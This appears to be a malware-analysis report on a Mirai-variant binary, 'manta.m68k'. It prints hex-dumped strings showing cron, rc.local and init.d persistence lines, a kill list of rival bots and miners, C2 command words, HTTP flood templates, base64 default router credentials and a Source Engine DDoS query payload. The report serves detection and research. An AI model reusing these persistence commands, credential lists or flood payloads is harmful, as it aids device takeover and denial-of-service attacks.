manta.m68k
Mirai botnet malware
Python executes a remote urllib stageCron reboot persistence with Source-query DDoS payload
SHA-256784e7ff63c0cae3a5dc6c7e1e7f4df62a854683a4e47b9e7cfa66333966f12c3
Evidence
⋯5 more rows
0x2376b5254002e2f6d616e74612e636f6e6600RT../manta.conf.
0x2377b2f746d702f2e6d616e74612e636f6e66/tmp/.manta.conf
0x2378b002f6574632f6d616e74612e636f6e66./etc/manta.conf
0x2379b002f7661722f72756e2f2e6d616e7461./var/run/.manta
0x237ab2e636f6e66002f6465762f73686d2f2e.conf./dev/shm/.
0x237bb6d616e74612e636f6e6600686f737400manta.conf.host.
0x237cb77002f70726f632f73656c662f6f6f6dw./proc/self/oom
0x237db5f73636f72655f61646a002d31303030_score_adj.-1000
0x237eb00696e6974006d69726169002f70726f.init.mirai./pro
0x237fb63002f70726f632f25642f636f6d6d00c./proc/%d/comm.
0x2380b73797374656d64006b74687265616464systemd.kthreadd
0x2381b006b736f667469727164006b776f726b.ksoftirqd.kwork
0x2382b657200737368640064726f7062656172er.sshd.dropbear
0x2383b0074656c6e6574640062757379626f78.telnetd.busybox
⋯3 more rows
0x2387b79736c6f676400646275732d6461656dyslogd.dbus-daem
0x2388b6f6e006d697261692e783836006d6972on.mirai.x86.mir
0x2389b61692e61726d006d697261692e6d6970ai.arm.mirai.mip
0x238ab73007473756e616d69006b616974656es.tsunami.kaiten
0x238bb0071626f740067616667797400626173.qbot.gafgyt.bas
0x238cb686c697465006d6f626f7400786d7269hlite.mobot.xmri
0x238db67006d6f6e65726f64006b646576746dg.monerod.kdevtm
0x238eb70667369006b696e73696e67006d696epfsi.kinsing.min
0x238fb657264006370756d696e657200626f61erd.cpuminer.boa
0x2390b746e657400736f6674626f7400656368tnet.softbot.ech
0x2391b6f626f7400736f7261006f7761726900obot.sora.owari.
0x2392b6d6f7a6900636f6e6469006b656b7365mozi.condi.kekse
0x2393b63006d75687374696b00616973757275c.muhstik.aisuru
⋯7 more rows
⋯3 more rows
0x23a108002393d800239458002394c00000000..9=..9E..9L....
0x23a202f70726f632f25642f65786500636e63/proc/%d/exe.cnc
0x23a30006d616e74616332006d616e74612e00.mantac2.manta..
0x23a402f70726f632f6e65742f746370002025/proc/net/tcp. %
0x23a502a643a20252a5b302d39412d465d3a25*d: %*[0-9A-F]:%
0x23a60345820252a5b302d39412d465d3a252a4X %*[0-9A-F]:%*
0x23a70345820252a7320252a7320252a7320254X %*s %*s %*s %
0x23a802a7320252a7320252a7320252a732025*s %*s %*s %*s %
0x23a9064002f70726f632f25642f6664002573d./proc/%d/fd.%s
0x23aa02f257300736f636b65743a5b25645d00/%s.socket:[%d].
0x23ab02f72656c656173652f6d616e74610000/release/manta..
0x23ac00017091315b31d7bce85115c04d20539.......{...\...9
0x23ad07a69524547206d616e74612025732025ziREG manta %s %
0x23ae07320256c6c7520256c6c752025642025s %llu %llu %d %
0x23af0730a0073746f700050494e4700504f4es..stop.PING.PON
0x23b00470a00657869740073656c6672657000G..exit.selfrep.
0x23b107363616e004f4b2073656c6672657020scan.OK selfrep
⋯9 more rows
0x23bb0616c3a004d656d546f74616c3a20256cal:.MemTotal: %l
0x23bc06c75005b6b776f726b65722f303a305dlu.[kworker/0:0]
0x23bd0005b6b776f726b65722f313a305d006b.[kworker/1:0].k
0x23be0736f6674697271642f30005b6b737761softirqd/0.[kswa
0x23bf07064305d0073797374656d642d6a6f75pd0].systemd-jou
0x23c00726e616c000080023bc380023bd18002rnal....;...;...
0x23c103bdf8002381380023beb80023bf52f70;...8...;...;./p
0x23c20726f632f73656c662f657865002f6574roc/self/exe./et
0x23c30632f72632e6c6f63616c000a282f746dc/rc.local..(/tm
0x23c40702f2e6d616e7461203e2f6465762f6ep/.manta >/dev/n
0x23c50756c6c20323e26312026290a002f6574ull 2>&1 &)../et
0x23c60632f63726f6e2e642f6d616e74610040c/cron.d/manta.@
0x23c707265626f6f7420726f6f74202f746d70reboot root /tmp
0x23c802f2e6d616e74610a2a2f3330202a202a/.manta.*/30 * *
0x23c90202a202a20726f6f74202f746d702f2e * * root /tmp/.
0x23ca06d616e74610a002f6574632f696e6974manta../etc/init
0x23cb02e642f6d616e74610023212f62696e2f.d/manta.#!/bin/
0x23cc073680a63617365202224312220696e20sh.case "$1" in
0x23cd0737461727429202f746d702f2e6d616estart) /tmp/.man
⋯3 more rows
0x2480a6f726d3a202257696e646f7773220d0aorm: "Windows"..
0x2481a5365632d46657463682d446573743a20Sec-Fetch-Dest:
0x2482a646f63756d656e740d0a5365632d4665document..Sec-Fe
0x2483a7463682d4d6f64653a206e6176696761tch-Mode: naviga
0x2484a74650d0a5365632d46657463682d5369te..Sec-Fetch-Si
0x2485a74653a206e6f6e650d0a5365632d4665te: none..Sec-Fe
0x2486a7463682d557365723a203f310d0a5570tch-User: ?1..Up
0x2487a67726164652d496e7365637572652d52grade-Insecure-R
0x2488a657175657374733a20310d0a436f6e74equests: 1..Cont
0x2489a656e742d547970653a206170706c6963ent-Type: applic
0x248aa6174696f6e2f782d7777772d666f726dation/x-www-form
0x248ba2d75726c656e636f6465640d0a436f6e-urlencoded..Con
0x248ca74656e742d4c656e6774683a2025640dtent-Length: %d.
0x248da0a436f6f6b69653a205f5f63665f626d.Cookie: __cf_bm
0x248ea3d253031366c6c783b2063665f636c65=%016llx; cf_cle
0x248fa6172616e63653d253031366c6c780d0aarance=%016llx..
0x2490a436f6e6e656374696f6e3a206b656570Connection: keep
0x2491a2d616c6976650d0a0d0a004745542025-alive.....GET %
0x2492a733f63623d2575265f3d257520485454s?cb=%u&_=%u HTT
0x2493a502f312e310d0a486f73743a2025730dP/1.1..Host: %s.
0x2494a0a557365722d4167656e743a2025730d.User-Agent: %s.
⋯11 more rows
⋯3 more rows
0x24e10746e6974650073746f6d700073736800tnite.stomp.ssh.
0x24e2074637062797061737300687474700068tcpbypass.http.h
0x24e307474707300746c7300746c73706c7573ttps.tls.tlsplus
⋯8 more rows
0x24ec0686f6d656e617400686f6d65646e7300homenat.homedns.
0x24ed06d6f6e65726f006d6f6e65726f6f6666monero.monerooff
0x24ee00047455420257320485454502f312e31.GET %s HTTP/1.1
0x24ef00d0a486f73743a2025752e25752e2575..Host: %u.%u.%u
0x24f002e25750d0a417574686f72697a617469.%u..Authorizati
0x24f106f6e3a2042617369632025730d0a5573on: Basic %s..Us
0x24f2065722d4167656e743a204d6f7a696c6cer-Agent: Mozill
0x24f30612f352e300d0a4163636570743a202aa/5.0..Accept: *
0x24f402f2a0d0a436f6e6e656374696f6e3a20/*..Connection:
0x24f50636c6f73650d0a0d0a00504f5354202fclose.....POST /
0x24f6020485454502f312e310d0a486f73743a HTTP/1.1..Host:
0x24f702025752e25752e25752e25750d0a436f %u.%u.%u.%u..Co
0x24f806e74656e742d547970653a2074657874ntent-Type: text
0x24f902f786d6c0d0a534f4150416374696f6e/xml..SOAPAction
0x24fa03a2022220d0a436f6e74656e742d4c65: ""..Content-Le
0x24fb06e6774683a2036340d0a436f6e6e6563ngth: 64..Connec
0x24fc074696f6e3a206b6565702d616c697665tion: keep-alive
0x24fd00d0a0d0a002f6c6f67696e2e63676900...../login.cgi.
⋯9 more rows
0x250702f686f6d652e706870002f6170706c79/home.php./apply
0x250802e636769005957527461573436595752.cgi.YWRtaW46YWR
0x25090746157343d0059575274615734366347taW4=.YWRtaW46cG
0x250a0467a63336476636d513d005957527461Fzc3dvcmQ=.YWRta
0x250b05734364d54497a4e413d3d00636d3976W46MTIzNA==.cm9v
0x250c0644470796232393000636d3976644470dDpyb290.cm9vdDp
0x250d0685a47317062673d3d00595752746157hZG1pbg==.YWRtaW
⋯3 more rows
0x25c69557365722d4167656e743a2025730d0aUser-Agent: %s..
0x25c79436f6e74656e742d4c656e6774683a20Content-Length:
0x25c893531320d0a436f6e6e656374696f6e3a512..Connection:
0x25c99206b6565702d616c6976650d0a0d0a00 keep-alive.....
⋯5 more rows
0x25cf978207838365f3634292046697265666fx x86_64) Firefo
0x25d09782f313231005353482d322e302d4f70x/121.SSH-2.0-Op
0x25d19656e5353485f382e397031205562756eenSSH_8.9p1 Ubun
0x25d2974752d33005353482d322e302d4f7065tu-3.SSH-2.0-Ope
0x25d396e5353485f392e327031204465626961nSSH_9.2p1 Debia
0x25d496e2d32005353482d322e302d4f70656en-2.SSH-2.0-Open
0x25d595353485f372e34000080025cae80025cSSH_7.4....\...\
0x25d69e380025d0f80025d2e80025d4d050000...]...]...]M...
0x25d7900010009000000000000000000ffffff................
0x25d89ff54536f7572636520456e67696e6520.TSource Engine
0x25d995175657279000000ffff00fefefefefdQuery...........
0x25da9fdfdfd12345678ffffffff6765747374....4Vx....getst
⋯15 more rows